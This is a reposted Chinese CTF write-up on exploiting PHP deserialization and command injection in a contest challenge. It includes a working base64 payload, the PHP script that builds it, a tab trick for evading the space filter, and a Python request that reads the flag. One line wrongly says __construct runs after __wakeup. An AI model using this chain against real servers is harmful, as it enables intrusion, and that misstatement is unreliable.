CTF中PHP反序列化和命令注入的一次简单利用
代码来自第六届防灾科技学院网络安全技能大赛,侵删。
目标
获取Linux服务器根目录下的flag
代码
/*home.php*/
class home{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}} function ping($host){system("ping -c 2 $host");}function waf($str){$str=str_replace(' ','',$str);return $str;}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));}}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));
分析
该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。
在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。
当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。
ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:
ping -c 2 127.0.0.1|cat /flag.txt
#不唯一
利用
整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:
127.0.0.1|cat /flag.txt
而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。
同时还要注意method必须为ping。
这里得到了构造payload的最终PHP脚本:
class home{private $method;private $args;
}$a = new home("ping",array('127.0.0.1|cat /flag.txt'));$b = serialize($a);echo base64_encode($b);
payload
Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==
发送payload得到flag
import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}
转载于:https://www.cnblogs.com/kevinbruce656/p/11198236.html
CTF中PHP反序列化和命令注入的一次简单利用相关推荐
- CTF之web学习记录 -- 命令注入
命令注入 概述 常见攻击方式 使用管道符号 escapeshellarg和escapeshellcmd 无参RCE 模板注入 命令执行漏洞修复 总结 概述 web服务器后端代码有时会调用一些执行系 ...
- 热门Ruby 库中存在严重的命令注入漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 开发人员修复了用于解析和转换 AsciiDoc 文件的热门 Ruby库中存在一个命令注入漏洞. 命令注入漏洞可使攻击者在运行应用程序的服务器上执 ...
- CTF中的PHP反序列化ALL IN ONE
CTF中的PHP反序列化 1.反序列化的基础知识 什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法 php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞. ...
- php如何检测在另一台设备登录怎么做_如何使用Metasploit的Web Delivery Script和命令注入弹出Shell(翻译)...
Web交付概述 Metasploit包含一个有用的模块,它在你的的设备上创建的服务器上承载一个负载.一旦目标设备连接到服务器并执行负载,就会运行web交付脚本.这个模块是通用的,因为它可以面向Pyth ...
- java 漏洞挖掘_Apache Tika命令注入漏洞挖掘
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤. ...
- PHP命令注入***
PHP命令注入***漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!.DedeCMS等都曾经存在过该类型漏洞.本文描述了常见的PHP命令注入***漏洞存在形式和利用方法 ...
- WEB安全基础-命令注入
命令注入 命令:如DOS(关机,添加用户,运行某个文件等等等)命令和Bash命令 DOS:查看本地网络:ipconfig 查看当前系统用户:net user 查看目录:dir "./&quo ...
- OpenSSH 命令注入漏洞通告(CVE-2020-15778,Openssh <=8.3p1)
一.漏洞概要 2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开.OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者 ...
- 对开源库 limdu 命令注入漏洞 (CVE-2020-4066) 的简要分析
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 开源库Limdu 的 trainBatch 函数中存在一个命令注入漏洞 (CVE-2020-4066). Limdu 是 Node.j ...
- 修改jar 注入_Apache Tika命令注入漏洞挖掘
介绍 这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤.CVE是https://nvd.nist.gov/vuln/detail/CVE-2018-1335.由于Apache ...
最新文章
- Objective-C中对Url的参数进行编码
- java 热替换_class卸载、热替换和Tomcat的热部署的分析
- Rosonblatt线性感知器
- linux下set和eval的使用小案例精彩解答
- 你看我还有机会吗?这么GAN让我秃然荒了!
- 11 CO配置-控制-成本中心会计-定义分割结构
- 解决 Python2 和 Python3 的共存问题
- Microsoft Visual Studio 2005 多线程时 解决不是该线程创建的来访问
- mysql5.7 存储二进制_MySQL5.7 基于二进制包的安装
- 多线程爬取图片 -Java
- 苹果ios啸叫频点测试软件_啸叫抑制之陷波法
- blender风格化草地
- c语言 java 嵌入式_嵌入式C语言编译器
- 写给零基础入坑蓝桥杯的同学
- 使用Jimi处理图像
- rk3588调试之imx415摄像头
- mac常用快捷键,Mac文件重命名快捷键,Mac OS快速访问系统根目录
- 加勒比海盗船——最优解转载问题c++
- 单模单纤FC接口光纤传输距离
- 有了她,容易多了-- aardio语法与使用手册
热门文章
- c++循环输入一个字符可录入空格和换行_如何快速录入数据?
- python-图书管理系统3-[代码部分]-需要完善
- 关于垂直列行值转成水平行值及多列值转合并成单列值
- CS224N笔记——反向传播
- 未能加载文件或程序集“Newtonsoft.Json”或它的某一个依赖项。找到的程序集清单定义与程序集引用不匹配。 (异常来自 HRESULT:0x80131040)...
- js 判断是否是 整数
- 内存不足时Android 系统如何Kill进程
- 导入导出mysql数据库
- 读书笔记18:命令模式
- 起II6.0中使用windows2003自带的虚拟主机管理系统